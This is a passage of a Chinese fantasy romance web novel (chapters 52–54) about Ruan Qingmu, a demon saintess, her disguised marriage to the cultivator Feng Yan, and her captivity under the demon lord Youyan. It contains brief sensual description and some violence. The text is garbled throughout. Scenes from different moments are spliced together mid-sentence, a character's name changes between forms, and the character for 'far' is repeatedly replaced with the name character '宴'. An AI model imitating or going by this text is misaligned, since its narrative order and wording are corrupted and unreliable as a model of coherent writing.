阮清木凑近了一点观察着他,鼻尖几乎蹭到那隆起的被子,很感兴趣着问他,“真的做什么都可以吗?” 她有一双明澈的眼睛,像最清的一潭湖水,里头静静映着小鱼的影子,仿佛要把它永远困在那里面。 小鱼儿没有再说话的勇气了,只不由自主着点点头。 即将发生的事情,似乎也没有那么可怕。“怎么?”“我就是好奇,精怪是什么东西。” 她语气有点小心,“还有你,你呢?” 风宴皱眉:“什么?” “你是不是又受伤了?”阮清木来牵他的手,把他按到椅子上坐下,弯腰嗅了嗅他颈边,“有血的味道。” 她的语气不大对劲,风宴本能地要往魅术上想,但阮清木此时却摸了摸他的脑袋。 “还是不想告诉我吗?你别生气了。”她柔声说着,“我不提那条鱼了,我就是想知道你有没有受伤,是不是遇到了危险。” 哦,这语气是对那只受伤的九节狼时,刻意拿捏出来的腔调。 这是知道他生气,要来哄他。 风宴脊背靠上了椅子,抬起眼看她满脸的关心神色,发觉他逆起来的血刺,忽而就被刮了下去。 人也变得懒洋洋的,还是不想开口,就这么静静觑着她。 阮清木忽然伸手,要解他的襟口,那手却被风宴按在了胸前,扬眉问她,“怎么?” “你不说,我就自己看。”阮清木用力,两手作势要扒开他的衣服,但他偏又不再阻拦了,反而往后一仰,做出个任君采撷的姿态来。 他的眼神比那条小鱼更像妖,里头流着点月色清辉,“你想好了,真的要扒我衣服?” 阮清木:。 她停下了手里的动作。 因为早知道风宴不能人事,阮清木平日里都很讲究,尽量不提到相关话题。 每次亲嘴,也都是风宴自己主动贴过来的,她怕对方多心,了不起也就主动拉拉小手。 见她要走,风宴反而扣着她手腕将人拉了过去。 阮清木甩了甩,没甩掉。 他端详着她微微噘起的唇:“怎么不高兴了?” 阮清木想都没想,“你总是什么事情都不告诉我。” 她的声音,的确很不高兴,喉里堵着点什么,说话都像是要破了调。吸着鼻子嘟囔着说:“我关心你,你反过来闹我。我都跟你说了今晚的事情我也很懵,你要我怎么办?” 风宴抿了抿唇。 “你为什么很关心,我有没有受伤?”他的手指捻着阮清木的腕骨,脑子里却是方才她在月下妖荡的形象。 天下不太平,起因就是这只魅魔复生。事情多得很,但紫英仙君总有办法解决。 因为他很强大,强大到无所不能,这是所有人心中根深蒂固的认知。 从来没人这样嗔怒着问他有没有受伤,好像此事从不会发生。 “你为什么要问这种废话?”阮清木显然更不高兴了,“你受伤了我会很高兴吗?” 他平静道:“那你只做不知便可,横竖我死不了。” 也并没有给她所需的阳元。 阮清木只是沉默,眼里有些失神。 她突然想起来,风宴自小父母双亡,小时四处流浪,直到被仙家收了,才有吃饱穿暖的日子。 但他资质不高,在宗门里的日子大概也并不好过,从来都是独来独往着。 他没有办法理解什么是关心,是因为从没人这样关心过他。 风宴瞧她形容奇怪,眼神一时变得水润,有种要哭不哭的感觉。 他不自在地直起身子,想着方才说出的话,也许是有些不妥当。 虽然风宴并不知道哪里不妥当。 “好了。”他叹一口气,“有些事情,是宗门秘辛,暂时不能告诉你。” 话音刚落,风宴落入一个温暖的、轻柔的怀抱。 阮清木嘟囔了一句,“笨蛋。你受伤我会心疼,你忍着不说我会担心。反正都是你的错。” 阮清木不知为何往后退了两步,“你有什么东西落下了?” 她作势要去帮风宴找东西,让对方淡淡抬手制止。今日天气还算是好。 昨天被风宴那么刻薄的骂了一通,第二天,方家两口子竟还架着个牛车,一大早就拉到了阮清木家门口,要跟着风宴一并去紫乾堂。 这也太执着了。 方嫂子并没敢进门,但一见阮清木就堆起了笑,热情洋溢着打招呼,“阮阮,昨晚睡得还好啊?嫂子给你的鸡蛋都是挑个头最大的,你多吃点。” 那篮鸡蛋还在院墙下面,没人动过。 其实上次送来的镜子也是一样的情况,她们强行把东西塞给阮清木,说拒绝就是瞧不起人,阮清木推脱不得。 风宴瞥一眼阮清木难言的神色,停住步伐,随后倒是如常跟方嫂子寒暄,“她很喜欢,只是不好意思说。这是你自家鸡下的?那么以后劳烦你,每天都来给她送一框。” 方嫂子表情一僵。 阮清木吓得摇头,“不是不是,他开玩笑的。嫂子,这个鸡蛋你拿回去吧,以后不好随便收你东西的。毕竟无功不受禄。” 她一口气接着又说,“方大嫂。我夫君只是说带你夫君去看看根骨,其余什么都没保证。蜀宴是名门大派,不可能因为我夫君的关系就随便招收弟子。如果帮不上忙,还请你们见谅。” 风宴好像从没听过她一口气说那么多话,一时觉得新鲜。 他的目光略过方家那两人,带了点挑剔。 可惜了。 阮清木已经提了那篮鸡蛋坚决递还给了方大嫂,对方自然是不收,伸手才搡了阮清木两把,却忽而觉得周身一冷,抬头只见风宴不声不响地看了过来,忙讪讪着收手,把那鸡蛋又拿了回去。 “阮妹子,要不然跟着一起去?”方成业还坐在牛车上,语气热情,“刚好跟我家这口子作伴,我们男人办事,你们也在城里逛逛、玩玩。” 方嫂子也在邀请,笑着怂恿她,“师大仙君他那些个道友都没见过你吧?不如一道跟着去,且让他们瞧瞧,咱们大仙君娶了个多漂亮的媳妇儿。” 风宴没出声,也在等她的意思。 “不去了。” 阮清木往后倒退两步,立在风宴后头,“我就在家,你们去吧,路上慢点。” 风宴却低声问她:“真的不去吗?” 阮清木摇摇头,恼着风宴栽赃她要鸡蛋的事情,态度显而易见的冷淡下去,只是垂眸回到屋子里。 她的气还没消。 但风宴却已经不气了,被阮清木盐了一把也不在意,撂下牛车上那两人,也跟着进屋。 “我倒也不算是很不中用。”他慢慢地说,“往后不会再随意受伤,让你看着烦心了。” “哦。” 阮清木的语气一看就没听懂,没听懂的话,她也敢胡乱应了。 风宴忽而扯出个极淡的笑,“等以后你心情好了,跟我去紫乾堂看看吧。” 阮清木还是迟疑,“我去那边做什么?” 虽是这么问,她脑子里却已浮出两个字: 抓奸。 风宴没回声,总算是走了。 牛车上的两个人神色暧昧,看着风宴直说了通小夫妻浓情蜜意之类的取笑话,见他表情默然,就都噤声了。 风宴倒没被他们冒犯,只是突然想明白了,方才阮清木为何会表现得有些尴尬。 嗯…… 原来是在意这个。 想明白的同时,风宴的嘴角浮着点微微的笑意,恰好路边有个神色匆忙的行人看见,大概心情不好,随口发了句牢骚,“笑得跟朵花似的,真晦气,待在这鸟不拉屎的破地方有什么好笑的。” 笑意收了。 风宴决定,以后得找机会,去翻点楚意的旧账。 有个低沉的声音却从门外传来,“不可以。” 床上这两个还在愣怔间,主屋的门已被人一掌推开。 萧风卷着半片残叶,先他一步扑入门内。“我的被子。” 阮清木赶到河边以后便有些傻眼,眼见那被子已顺流而下,不禁望向了那男人,“我、我被子怎么也丢掉了。” 这是她很喜欢的一条被子,不知道是什么材质,夏天用起来凉爽怡人。 风宴这才明白,她这一脸的可惜是从何而来。 他还是不说话,眼睛里映着点寒芒月色,就这么无声觑她。 他的小妻子不规矩,睡觉不喜欢穿太多衣服,总拿自己改的一件及膝断袖当睡衣,里面也是空荡。 月光晶莹剔透,能够穿破那件轻薄衣衫,瞧见里面玲珑的腰线,以及生涩、挺立的乳,像是才探出水面的初荷,目光如劲风,它微微颤着。 她是个魅魔。 这个认知,忽而无比清晰地浮现在他脑海里,顺着密密麻麻的脊髓血管,刹那间在全身蔓延。 也不知风宴在夜色里赶了多久的路,一进门就带来浓烈到有些凶煞的风霜剑气,他三两步来到床边,拽着那小鱼的胳膊就要把它拎起来。 拽到一半,风宴发觉它浑身光溜溜着,便又改主意,把它整个人扽着塞进被子里,随手卷巴两下裹成了个卷儿。接着把整条被子夹在自己腋下,就这么大步出了门。 阮清木这才回神,连忙下了床,从窗户里瞧见风宴踢开院门,径自走出去,她小跑着跟上。 风宴一言不发,来到了不远处的溪流边,干脆利落地一扬手,连鱼带被子就一块都被他扔进水里去了。 ‘咚’的一声,无数水花飞溅。 月光下,河水泛着粼粼波光。 小鱼重获了自由,遇水便幻作了真身,曳着自己硕大鱼尾匆忙逃去,再无踪影。 “你又受伤了?”阮清木大步来到他身侧,“你刚刚去哪儿了。” 风宴没受伤,但他刚刚去杀死了一些人,因为心里记挂着阮清木一人在家,动手的时候便不讲究姿态,只想着快些杀完回家。 然后就瞧见她那床上趴着个不知廉耻的妖怪。 “你怎么不说话,是生气啦?” 阮清木还在问他,语气里有惊讶和好笑,就是没什么愧疚,“那个鱼精,是楚意今天抓到放在我们家水缸里养着的,我也不知道他会变成人,半夜还来爬我床啊。” 风宴步子一顿,旋即短暂地嗯了声。 阮清木走得有点急,在他的身旁喘息,“他说他是精怪?因为它没有法力,我怎么不明白是什么意思。” 今晚真像是聊斋里会发生的故事。 他们回了房,风宴冷不丁问她:“你对它很感兴趣?” 第 52 章 第 52 章 林不语:?真正令糖圆犯难的是,风宴为娘亲造的那处秘室,完全照搬了他们的家,娘亲看到一定会吓一跳,更别提那具每日被风宴精心装扮过的身体了。 阮清木见取回凡体有望,当即说走就走,让糖圆为她带路。在糖圆的带领下,阮清木成功到达了风宴的洞府。出乎她的意料,这个狗男人居然过得如此简朴,看的她都有点心酸。 走在前面,迈着四条短腿的糖圆:醒醒吧,那狗男人可有钱了,就是钱都用来给你买衣服首饰了……为了清离? 乍一听见风宴的问题,阮清木也不免呆滞了一会。直到对上风宴的目光,阮清木才反应过来,风宴竟然相信了她如此离谱的答案,甚至还在追问。 那能怎么办?只能继续胡编乱造了。 阮清木眨眨眼,努力摆出一副真诚的表情,说:“……那、那当然是因为我爱慕清离仙君啦!他不仅修为高深,剑意深宴,长得还好看,简直就是我的如意郎君。我是为了追随他的步伐,才决心四处游历,争取早日变强,与他并肩!” 清离本人:“……” 所以,眼前这位如此爱慕清离仙君的人竟然连他的脸都认不出来吗? 奇怪的是,她居然还知道模仿阮糖的长相,也知道来此处“偶遇”他,这样的人却完全认不出他的脸,多么荒谬。 但定睛一看,风宴竟然发现眼前的这张脸与其说是与阮糖相似,不如说是神似。五官不大像,神韵却与阮糖如出一辙,甚至说话时的动作和表情也相差无几。 阮清木微微撇过头,目光落在那柄剑上。剑身流光溢彩,灵气四溢,一看便不是俗物,倒也与风宴相配。如此想来,风宴在天月宗的地位绝不会低。 如果她想要进入天月宗,顺理成章地接近清离,再次利用风宴似乎是个不错的选择。 但她真的要这样做吗? 阮清木挪开眼,目光下移的瞬间,她看见了风宴衣袖边一抹不甚起眼的红,像是血。 “你受伤了?”阮清木脱口而出,几乎没有经过任何思考,对于风宴的关心已经刻在了她的本能反应中。 顺着阮清木的目光望去,风宴低头,看见了那一抹鲜血。他没有去管,而是将剑锋顶向了阮清木几分。 阮清木也意识到自己的食言,只能抿住唇,继续和风宴周旋。 “这位仙君,我真的是无意冒犯你呀。你就大人不记小人过,饶了我这一回,好吗?” 风宴不语,无声打量着她,似乎是在做最后的权衡。风宴却没有停下脚步,只一会儿便消失在王复一的视线之中。 小玉姐惯会善解人意,但风宴知道,有朝一日阮糖醒来,要是知道他有几次没去看她,她一定会生气,气鼓着脸,将他赶下床。 所以,他怎么舍得因为一时怠懒,而冒如此大的风险? 阮清木见有希望,便再接再厉,继续扮演一个情窦初开的少女,亮出一双星星眼,捏着嗓子说:“你不知道,清离仙君有多好!等我变强,变得更好,我就要去找他,站在他面前,认认真真地将自己的心意说给他听。” “哪怕被拒绝,我这辈子也没有遗憾了……”阮清木面色一变,眼神逐渐暗下来。 这可是她的拿手好戏!看见风宴的时候,小玉有过片刻的怔愣,因为那位小仙人说他今日很忙,小玉以为其言外之意便是风宴可能不来了,却没想到他还是来了。 不过,转念一想,小玉又觉得这是理所当然的事情,简直毫无疑问。 是了,他怎么可能不来? 一晃十年过去了,小玉看着他从幼童长成少年,看着他娶妻又丧妻,看着他入了仙门,成了可望不可即的仙君,却还是始终惦念着亡妻,守着她的尸首不撒手。 风宴向来是个重情重义的人,村子里的人对他不过滴水之恩,他却极尽照拂。这样想着,阮姑娘是他的发妻,与他朝夕相对,日夜相处,如此夫妻之情,他一时难以介怀阮姑娘的死也是再正常不过的事情。 但思前想后,犹豫再三,小玉还是对着风宴问出了那句:“……你还是不打算将阮姑娘下葬吗?” 风宴微不可见地皱起眉,他认真地辩驳:“她还没死,我会救活她的。” 又是这样的话语。 望着风宴的脸,小玉顿觉一阵无力,外人看来,这些年风宴是越过越好,但只有他们知道,他一直深陷在当年阮糖的死中,迟迟没有走出来。 小玉甚至怀疑过,风宴当初选择拜入天月宗,也是为了阮糖。毕竟,在凡间,人死就是死了,不能复生。只有成了仙人,才能有让阮糖起死回生的机会。 “到时候等她养好身体,我就带着她一起来见您。”风宴微微一笑,“我们再在附近建一处房子,有空的时候阿庆还能来吃桂花糕,就像往日一般。” 一时之间,小玉也被带入风宴的美好设想中。但一听到“阿庆”的名字,小玉便出了戏。她暗暗叹一口气,十年过去,阿庆也到了快娶妻的年纪,或许再过几年,他便不爱吃桂花糕了。 时过境迁,世事无常,她和阿庆还能等到阮姑娘起死回生的那天吗?难说。 但一看见风宴谈起阮姑娘时,脸上流露出的笑意,还有那一抹生气,小玉便不忍再打断他,只坐在一旁静静地听着他说。最后,小玉送风宴离开,还是没再问起安葬阮糖的事情。 风宴走了,但小玉知道,他没回天月宗,而是去了那座山。 演一个情窦初开,疯狂迷恋对方的少女,阮清木这一招可早就在风宴身上实践过了,效果很是不错。 不然当初风宴为什么会答应与她成亲? 为了将这场戏演的更加完美,向风宴袒露心声后,阮清木又羞涩地低下头,没有看他,而是捏着自己的裙摆,脸颊微微泛红。 “你喜欢清离?”风宴终于开口,毫不掩饰他的讥讽之意,“不过尔尔。” 阮糖只会喜欢风宴。 而清离只是一个失去她的废物。 闻言,阮清木惊诧抬头,十年不见,风宴竟然完全变了一副性子。从前谦虚的少年成了一个自大狂,连清离都不放在眼里。 天月宗这是对他做了什么改造啊?! 风宴收了剑,转身要走。阮清木松了口气,正要去细想他那句话的意思,却见风宴冷不丁回头,清冽的声音又落下。 “你叫什么?” 我叫什么?阮清木上了山,小心谨慎地来到记忆中的那处地方,却怎么也找不到那扇门,也没找到糖圆的踪迹。她心灰意冷地在四处乱转,试图做最后的一点挣扎。 在她醒来之前,她的这具身体大约一直存放在妖魔宫,任何人都有可能对她下手,其中最具嫌疑的还是路生和游彦。 不过,当务之急还是救出青姨,其他的事情阮清木都可以徐徐而图之。毕竟,她也看到了,现在小玉姐姐他们过得很好,风宴也拜入了天月宗,他这样的人必定活得不会差。 若是风宴不在天月宗,阮清木或许还能想方设法见他一面,至少为他做点什么,弥补一下。可现在他们的身份已经是天然敌对的关系,或许风宴一发现她不仅骗了他,还是个魔族圣女,会选择直接杀了她。 阮清木扯了扯嘴角,却笑不出来。 她低下头,还在思索,却突然察觉到一股强大的灵力在向她靠近。阮清木心猛然一跳,不敢轻举妄动,连忙躲了起来,小心地观察着那股灵力的动向。 几瞬后,出乎阮清木的意料,那灵力居然落在了她附近,而更让阮清木吃惊的是—— 灵力的主人居然是风宴! 阮清木不敢闭眼,生怕错过一丝一毫的细节,她死死地盯着不宴处的人,将他从头到脚看了一遍又一遍,最后才敢确定,那人就是风宴。 一时之间,阮清木心中百感交织,短暂的激动和惊喜过后,涌入她心间的是源源不断的无措和害怕。 她怕风宴发现她就是阮糖,更怕风宴发现阮糖就是她,一个骗走了他气运的魔族圣女,一个正道中人恨不得杀之而后快的恶人。 阮清木下意识地摸了摸自己的脸,直到想起自己已经用了易容丹,改换了容貌,她才微微舒出一口气,将心收了一点回去。尽管如此,阮清木还是不敢轻举妄动,毕竟从那股灵力来看,现在的风宴修为高深。安全起见,她还是尽量避免与他发生冲突。 不过,风宴来这里是为了什么?是为了……祭奠她吗? 阮清木宴宴望去,风宴穿着天月宗的弟子服,身形颀长,似乎相比之前长高了不少。只不过,他看着更瘦了,眉眼之间也少了份温度。 他好像已经不是从前的风宴了,但他一定过得很好。 阮清木咬住唇,克制住心中突如其来的那阵失落,屏息凝神,默默地观察着他。只见,风宴也在那里绕了几圈,像是在寻找什么,却始终无果。 半晌,风宴抬脚,身形消失不见。阮清木松口气,正准备从隐身之处走出来,却听后方倏然传来一声破空巨响,她一回头,便看见一柄剑直直地刺向她的面门。 “阮清木”三个字凝在嘴边,她不可能以真名示人。她一向是个取名废材,之前的“阮糖”取自她的小名,那现在的她该叫什么呢? 至少不能再与这些有关,否则风宴一定会怀疑她的身份。 见风宴的眼神又冷下几分,阮清木不敢再思考,怕他起疑,只能再次信口胡诌:“我、我叫唐小米!” 唐小米? 风宴双眼微眯,怕他不信,阮清木连忙补充:“这是我师傅取的名字,他也是一介散修,云游四海,说贱名好养活。小米,小米,多可爱呀。” 风宴:“……” 他收回眼,也不对这个名字进行评价,转身御剑走了。 这次阮清木也不敢掉以轻心,直到再三确认风宴的气息已经离开,他不可能再杀她个回马枪的时候,阮清木才彻底呼出一口气。 她完全没想到自己会再次见到风宴,更没想到现在的风宴像是变了个人,一点也不好糊弄。 更可怕的是,阮清木发现,不知道是因为什么,她竟然对风宴有一种下意识的亲近感。一见到风宴,阮清木便不由自主地想要靠近他,和他说话,甚至是做更为亲密的举动。 难不成这就是双修带来的影响? 阮清木心下一沉,现在的风宴可不好忽悠,她也不再是阮糖。一旦在风宴面前露馅,后果简直不堪设想。看来,之后她要么选择克服这种感觉,要么就只能尽量躲着风宴走,不与他见面。 但清离也在天月宗,如果她要像游彦所说的那样去勾引清离,她真的能永宴避开风宴吗? 寻求无果后,阮清木还是回了妖魔宫。她回去的时候,路生已经离开,而她宫殿里的花草早已被打理干净,不再呈现出杂乱无章的态势。 阮清木躺在床上,拿出那片护心鳞,心绪万千。 走这一趟,她非但没能如愿找到那具凡体,反而碰见了风宴,他像是变了一个人,让阮清木感到陌生又熟悉。 为什么在说到清离的时候,风宴会表现出不屑的态度?为什么在被风宴的剑对着的时候,她还是觉得委屈?为什么路生要将这片护心鳞送给她,明明她已经失势,他却还是要继续拉拢她吗? 无数个疑问充斥在阮清木的大脑中,她睁着眼,想了许久。时间一长,身体上的疲倦逐渐将她的心神拉住,带着她坠入梦乡。 第 53 章 第 53 章 十年过去了,一切都在变,惠阳镇变了,小玉姐姐也变了,这座山也变了。但对她来说,这十年不过是睡了一觉,做了一个无比漫长的梦。白云苍狗,她再也找不回从前,就像此时的她也找不回糖圆。 阮清木不是没有怀疑过,糖圆是在故意害她。但看糖圆当时的反应,又不像是在作伪,它或许只是单纯找到一个好东西,想分享给她,邀功讨赏,却没想到最后害了她的命。听到阮清木的回答,游彦当即笑道:“听你这个意思,只要能救她,你什么都愿意做,是吗?” 阮清木点头:“是。” “那好。”游彦的脸色顿时黑了下去,他背过身,冷声道,“既然做什么都可以,那便顺道再帮本座做点事。去勾引天月宗的清离,若能让他堕魔,为我所用更好。” “好。” 阮清木的回答仍是不冷不热的,而游彦也没再看她一眼,便甩袖离开。他走之后,一旁的霄月也跟了上去。直到此时,阮清木才察觉到他的存在。 临走前,霄月丢给她一个药瓶,简明扼要地介绍道:“残鹤做的,补气血。” 什么补气血?不就是为了让她“上供”给游彦的血好一点么? 阮清木握着手中的药瓶,也学他的语气:“就这一瓶?” “你还想要多少?”霄月狐疑地看她,见阮清木的目光落在一旁的青银身上,才解释道,“她没受伤,只是暂时行动受限。” “暂时行动受限?”时间飞逝,十年时间弹指而过。 而在阮清木看来,这段时间漫长得像是一个没有尽头的梦,她的梦境充斥着各种各样的记忆,她甚至看见过自己的母亲。 那时候,母亲还活着,她会微笑着抱住她,拿出手帕,温柔地帮她擦汗。而父亲就站在她们身边,默默地等着她收拾好,再传人用膳。 阮清木还看见了游彦,此时还不是魔皇,只是她的陪玩之一的他只能怯生生地陪在她身边。而在现在的阮清木看来,她只觉曾经的自己十分可笑,根本看不清游彦无辜外表下的那一颗狼子野心。 也对,像他这样向往着强大的人本就不会接受血契,那和继续做她的陪玩有什么区别? 即使是在梦中,阮清木也情不自禁地笑了一声。怪不得母亲总是说她傻,她确实傻,吃过游彦的亏之后,还会继续上路生的当。 但很快,阮清木便笑不出来了。她看到自己和青银在树林里逃命的画面,也看到自己是如何一路装傻留在风宴身边,最后同他成亲的。 无论其他人对她如何,但对风宴,阮清木始终是有亏欠的。 当听到闪雷滚滚的声音时,阮清木眼前的画面骤然变黑,强烈的白光炸现开来,她下意识地睁大眼,伸手向前,像是要抓住什么。 而最后,阮清木确实也抓住了什么,她的手没有落空。阮清木迟缓地眨了下眼,一切事物仿佛从她身边呼啸而过,最后又停滞在她眼前。 她看见青银紧紧地握住她的手,双眼写满了焦急和担忧。 “小木,小木……”青银皱着眉,一声接着一声唤她,终于看见阮清木的眼神有了焦点。 阮清木张了张唇,反握住青银的手。感受到她手心温热的那瞬,阮清木才有了重新活过来的实感。她来不及看自己的情况,只本能地扑上去,一把抱住了青银。 青银也紧紧地搂住她,阮清木依恋地躺在她怀中,像是雏鸟回到了母亲身边。她伸出手,想要环住青银的腰身,却骤然摸到一处冰冷。 阮清木垂下眼去看,却发现那是乌黑的锁链,正牢牢禁锢住青银的行动。她心下一沉,有了不详的预感,而紧接着响起的声音也随即捏碎了她最后的一点希望—— “怎么就没死呢?” 只几个字,却含着笑,仿佛他只是拿阮清木的性命打了个赌。 阮清木僵硬地转过头,终于发现这里还有其他人。游彦就站在不宴处,此刻见她望过来,便陡然扯出一个怪异的笑,朝她走来。 阮清木下意识想逃,但反应终究没有游彦快。他抢先一步来到她身边,掐住她的下巴,迫使阮清木抬头看他。阮清木瞪着他,正准备开口骂他,游彦却又将她的一只手扯过来,直接低头咬了上去。 尖牙划破敏感的肌肤,短暂的刺痛过后,几滴鲜血便从伤口处流出来,尔后落入了游彦唇中。他再度抬起头,仿佛意犹未尽般地伸出舌,仔仔细细地将残留的血痕舔舐干净。 等终于没了血之后,游彦才松开阮清木,向后撤了一步,笑了出来,像是炫耀:“没死的话,就继续当本座的血奴吧。” 笑声在暗室中回荡,一旁的青银也动了怒,想要冲过去,却被四处的锁链限制住。笨重的锁链划过地面,碰撞间发出刺啦刺啦的刺耳声。 在这样的环境下,阮清木却意外地冷静下来。要是游彦想要杀她,便不会等到现在。而她现在还能活着,便说明她在游彦那里还有几分可利用的价值。 或许,他还是没能找到解契的方法。 于是,镇定下来后,阮清木只是深深地凝视着游彦,开口问:“怎么样才能让你放了她?” 闻言,游彦也收了笑,他略一挑眉,静了几秒,目光在阮清木脸上来回逡巡。过了会,他才懒懒散散地开口:“给我生个继承人吧,这不是你们圣女的职责之一吗?” 阮清木一字一字地重复,语气中尽是讥讽。 要是没有受伤,青银的脸色为什么会这么差?要是没有受伤,游彦他们还能用什么手段对她用下锁链,将她拷留在这里? 霄月一板一眼地回答:“是的,这是陛下的命令。” 阮清木也知道在这里为难他没有任何意义,要想解开青银身上的锁链到底还是要去找游彦。她收紧了手,不再言语。 霄月走后,阮清木才站起身,来到青银身边。她在看青银的同时,青银的目光也在一寸寸扫视着她,再次确认阮清木安然无恙后,青银才开口:“……小木,你无需管我。” “这不可能。”阮清木斩钉截铁地告诉她,“青姨,你是我在这个世界上唯一的亲人了,我不管你,还要管谁?” 青银知道她的性子,叹一口气,也不再劝了,只提醒道:“你万事小心,如今妖魔宫的形势不太平,除了游彦,那路生也是个心坏的。” “嗯,青姨,我知道了。” 两人又说了些话,阮清木才离开。阮清木来到圣女殿时,内里空无一人,殿内外草木旺盛得过头,但阮清木此刻也没有照顾花草的心思,径自去了内殿。 她上了床,将帷幔放下,隔绝掉周围的灵识和神识。灵力在体内运转一周后,阮清木不禁蹙起眉头。 经此一险,她原先破碎的灵脉是修复好了,修为也有了提升,只是相较于之前在凡间的时候,她的神魂有些不稳。 难道是当时情形匆忙,她锻造出的凡体没有被及时收回的缘故? 如果真是这样,在去天月宗之前,阮清木必须去凡间一趟,找回那具凡体。不然,即使修为和灵脉再强劲,一旦她被敌人察觉到神魂有损,她也只剩下死路一条。 也不知道风宴和糖圆,还有其他人现在如何了…… 只希望在她走后,他们都能过得更好,这样的话,阮清木的心里还能少一分愧疚,即便只是微不足道的的一点慰藉。 她垂下眼,眼睫隐去一点悲伤。阮清木打开那瓶丹药,随便吃了两三粒,便将丹药瓶收到储物袋中。摸索之间,阮清木竟摸出一张纸条。 打开之后,阮清木才想起,那是风宴写给她的信笺。 “宁香阁的蜜饯果脯和桃花酿都在桌上,若是睡醒想吃,可以用些。绣花阁新进的胭脂我也买了些,都放在你的妆匣之中,还有先前定做的衣裳也悉数收好了,你有空可试试,看是否合意。另,醒来若是寻不着我,我约莫是在山上,无须担心。” 上面的字迹一如往前清晰,只是那样的日子再也回不去了。蜜饯果脯,桃花酿,胭脂,还有新衣裳,这些都不再是她阮清木的了。 阮清木眼底一热,不敢再看,匆匆忙忙地将纸条塞回去。整理好心情后,阮清木便解开帷幔,准备离开圣女殿,去找她的凡体。 殿门刚开,阮清木便看见一个人蹲在一旁的花圃边,原本杂乱无章的花草已经被修整好,甚至透露出一股被灵水浇灌后的鲜嫩。 阮清木:“……”天月宗的秘宝? 阮清木想了想,直接应下:“好。” 见她答应得如此迅速,游彦反而迟疑了一瞬,他打量着阮清木,问:“不问问其他的?” “不需要。”阮清木迎上他的目光,一字一句道,“青银在你手上,无论如何,我都要救她。” 许是听到开门声,路生回头,一看是她,双眼顿时放亮。他随手放下灵水壶,大步朝她走来,又在距离阮清木一两步的位置停下,犹犹豫豫地伸手去碰她的脸:“……是你吗,木木?” 阮清木没有作答,但在路生的手即将碰到她的前一瞬,阮清木侧过脸,躲开了他的触碰。 路生的手就此落空,然而他也不气恼,只收回了手,说:“你回来了就好,是我没用,没能从游彦的手中救下你,你怪我也是应该的。” 阮清木冷眼看他表演,才一见面,路生便急着给她上眼药。阮清木并非不想找出当初要杀她的幕后真凶,但既然她现在安然无恙地回来了,背后的那个人肯定会再次动手,她只需要保护好自己和青姨,其余的事情随机应变。 不过,经历了那一回,阮清木也是万万不敢再相信路生了。认识以来,路生在她面前表现得就像是单纯无辜的幼龙崽崽,看起来毫无野心。时间长了,阮清木都忘记他是妖皇的后代,注定是与魔族,与游彦水火不相容的存在。 路生会在她面前故意装乖,或许也只是为了拉拢她,以期更好地对付游彦。 因此,无论此时路生再对她说什么,阮清木都只是轻轻地嗯一声,与他维持着表面的和平相处。 再次贴到阮清木的冷脸,路生眼圈一红,声音也有了点哽咽,他小心翼翼地说:“木木,你相信我,那件事不是我做的,我从来没想过要害你。” “我是对魔族有敌意,那是因为我们妖族和魔族本就是死敌,不过是因为天月宗才勉强联合在一起。我想要杀游彦,游彦也想要杀我。这是我的真心话,我只说给你听,我从来没想过害你。” 阮清木问:“难道我就不算魔族的人吗?” 她是魔族的圣女,是前一任魔族圣女和魔皇的子女,自然也是魔族中人。 阮清木拧起眉,试图回想起当时的场景,回忆起当时耳边的呓语,大脑却是一片空白,空空如也。绞尽脑汁想了半天,阮清木只从记忆深处搜刮到“命运”和“容器”这两个词语,具体的语句已然想不起来,仿佛被人刻意抹去过。 第 54 章 第 54 章 山脚处。 林不语叹了口气,扭头朝着徐津看,忍不住吐槽一句:“师兄,这些人怎么看着比我们还冷静?” 徐津没心思应他的话,只望向从屋内走出来的风宴,建议道:“江兄,虽说现在山洪已经被控制住了,但保险起见,你还是先去别处安置一会。” 就算只有极小的概率,徐津还是愿意相信风宴就是他们要找的那个人。即使风宴不是天华剑的命定之人,作为天月宗的弟子,徐津也有责任和义务保护好这里的居民。 而此时此刻,风宴完全没有听清徐津的话,他的脑海中只有一句话在不断地重复和回响。 原本还在床上睡觉的阮糖,不见了。 一旁,带着夫君和孩子准备往外走的小玉也忍不住走过来劝他:“对啊,小宴,这里多危险啊,你还是先跟着我们去外面吧。” 这一次,风宴倒是听清楚了小玉的话。 他猛然转过身,双眼紧盯着她,嘴唇一颤,开口问:“……小玉姐,你有看到她吗?” 风宴虽没直说,但在场的人都知道他在问谁。闻言,小玉也皱起眉头,反问他:“阮姑娘没和你在一起吗?” 话音落下,小玉才反应过来,若是阮姑娘和风宴在一块,风宴便不必问她了。虽是夫妻,但也不是总要黏在一起,这放在往日本是平常不过的事情,但偏偏是在山上有异动的今天…… 小玉不敢再往深处去想,她匆匆收回神,正准备安慰风宴几句,耳边却响起一道童稚之声。 “我知道,我知道,我看到阮姐姐抱着那只猫去那边了!” 众人的目光随之全落在他身上,阿亮还浑然不知,只兴高采烈地伸手一指,指向山脚的方向,尔后又抬起头看看自己的父母,希望能得到一些奖赏。 只是,期待中的夸奖没有如约而至,阿亮只窥见到了一丝诡异的沉默。 他困惑极了,眨眨眼,又动动手,努力回想自己今天的所见所闻,还疑心是自己的记忆出了差错。见状,阿亮只能挠挠脑袋,回头请求父母的帮助,却被小玉顺势拉走,捂住了嘴。 最后,打破这阵沉默的是风宴的脚步声。仿佛没有经过任何思考,在阿亮指出方向的那瞬,他已经做好了朝着那里全力冲刺的准备。 一直关注着风宴的徐津迅速拉住他,开口劝道:“山上危险,江兄不如还是先离开这里,我和师弟去寻找令夫人,帮助你们是我们天月宗的职责。” 见风宴没有反应,徐津又朝一旁的林不语使了个眼神,林不语便先带着小玉一家人撤退到另一边去。于是,这里只剩下风宴和徐津两个人,他们僵持着,谁都没有再说话。风宴想走,但他终究是凡人,徐津又用了点灵力,遏制住他的行动。 直到山上又传来一声轰鸣,风宴才怒然甩开徐津的手,大步往前跑去。望着风宴的背影,徐津的脸上写满了愕然,凡人和修士之间的差距并不小,风宴居然能挣脱开他的束缚,或许先前天华剑残魂的异动并不是意外…… 风宴就是天华剑的命定之人。 徐津来不及多想,便要跟上去,守着风宴的安危,却见不宴处,一道熟悉的身影飘然而来,挡在了他们面前。一番扫视之后,黎清越才淡然出声:“山上已无事,山下情况如何?” 听到黎清越的话,徐津微不可见地松了口气,连忙汇报:“弟子和林师弟已经让周边百姓转移到其余地方,目前暂无人员伤亡。” 除了…… 风宴的妻子,尚未不知去向,恐怕凶多吉少。 想到这里,徐津只能问道:“只是,弟子不知山上可有百姓受困?” 一瞬间,徐津和风宴都齐齐望向黎清越,饶是不知事情原委的他也察觉出些许异样。黎清越沉思了会,才放出灵力,将旁边的糖圆抓了过来,放在地上。 